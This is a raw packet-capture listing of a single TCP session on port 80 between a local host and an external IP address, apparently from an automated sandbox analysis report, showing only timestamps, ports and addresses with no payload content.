Dec 20, 2024 21:13:26.967838049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.968301058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.968951941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.969029903 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.969248056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.970061064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.970165014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.970268011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.970451117 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.971252918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.971328020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.971471071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.972568035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.972666979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.972714901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.972714901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.973594904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.973690033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.973705053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.974092960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.974807024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.974879980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.974977970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.975179911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.975960970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.976037979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.976079941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.976308107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.977174997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.977268934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.977307081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.977344036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.978352070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.978427887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.978755951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.978884935 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.979548931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.979697943 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.979986906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.980068922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.980679035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.980791092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.980808020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.981153011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.981832981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.981970072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.982085943 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.983134985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.983227968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.983278990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.984308004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.984339952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.984384060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.984591961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.985519886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.985658884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.985677958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.985805988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.986639977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.986699104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.986768007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.986887932 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.987940073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.988074064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.988085032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.988558054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.989084005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.989273071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.990205050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.990283012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.990334034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.991255045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.991290092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.991444111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.991748095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.992435932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.992552996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.993705034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.993828058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.993870020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.994806051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.994807005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.994941950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.995982885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.996021032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.996083021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.997138977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.997179985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.997319937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.998342037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.998455048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.998456955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.999515057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.999567986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.999598980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.000513077 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.000684023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.000814915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.001904011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.002013922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.002054930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.002604008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.003034115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.003396988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.004213095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.004251003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.004317045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.005402088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.005440950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.005465031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.005552053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.006546974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.006625891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.006647110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.006750107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.007742882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.007833958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.007946014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.008955002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.009032011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.009104013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.009589911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.010116100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.010231972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.010257959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.010301113 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.011255026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.011333942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.011367083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.011428118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.012425900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.012588024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.012732983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.013603926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.013775110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.013783932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.014643908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.014791012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.014890909 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.014925957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.015207052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.146756887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.146856070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.146893978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.146933079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.147178888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.147274971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.147304058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.147737026 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.148432016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.148489952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.148520947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.148675919 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.149596930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.149738073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.149777889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.150784969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.150938034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.150995016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.151211977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.151890039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.152049065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.152345896 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.153048992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.153204918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.153249979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.154254913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.154391050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.154400110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.154493093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.155426025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.155548096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.155670881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.156522036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.156675100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.156801939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.157841921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.157911062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.157967091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.158446074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.158973932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.159073114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.159174919 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.160156012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.160235882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.160375118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.161307096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.161416054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.161740065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.162599087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.162695885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.162739038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.163902998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.164081097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.164102077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.164233923 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.165080070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.165194035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.165230036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.165386915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.166249990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.166388988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.166445971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.167308092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.167362928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.167397022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.167813063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.168380976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.168507099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.168526888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.168570995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.169539928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.169605970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.169644117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.169743061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.170733929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.170929909 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.170934916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.171251059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.171885967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.171989918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.172225952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.172360897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.173047066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.173284054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.173700094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.174271107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.174618006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.175487995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.175684929 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.175760031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.175982952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.176758051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.176852942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.176899910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.177242041 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.177880049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.177985907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.178086996 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.178246975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.178952932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.179075003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.179178953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.179178953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.180150986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.180286884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.180366993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.180567980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.181278944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.181382895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.181420088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.182472944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.182558060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.182707071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.183188915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.183716059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.183798075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.183867931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.183995962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.184782028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.184910059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.184911966 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.185364008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.185971975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.186098099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.186115980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.186263084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.187141895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.187254906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.187263012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.187334061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.188327074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.188443899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.188477993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.188570976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.189506054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.189642906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.189805984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.190679073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.190757990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.190874100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.191340923 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.191879988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.191977978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.191979885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.192111015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.193008900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.193104029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.193111897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.193183899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.194206953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.194312096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.194384098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.194489956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.195389032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.195508957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.195525885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.195620060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.196562052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.196777105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.196804047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.196916103 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.197710991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.197828054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.197949886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.198030949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.199060917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.199172974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.199239016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.199239016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.200071096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.200179100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.200196981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.200272083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.201256037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.201369047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.201390982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.201682091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.202474117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.202577114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.202600002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.202779055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.203650951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.203741074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.203778028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.203866959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.204813957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.204945087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.205115080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.206007004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.206070900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.206110001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.206212997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.207174063 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.207261086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.207278013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.207598925 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.208295107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.208446026 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.338972092 CET	80	49887	31.41.244.11	192.168.2.6
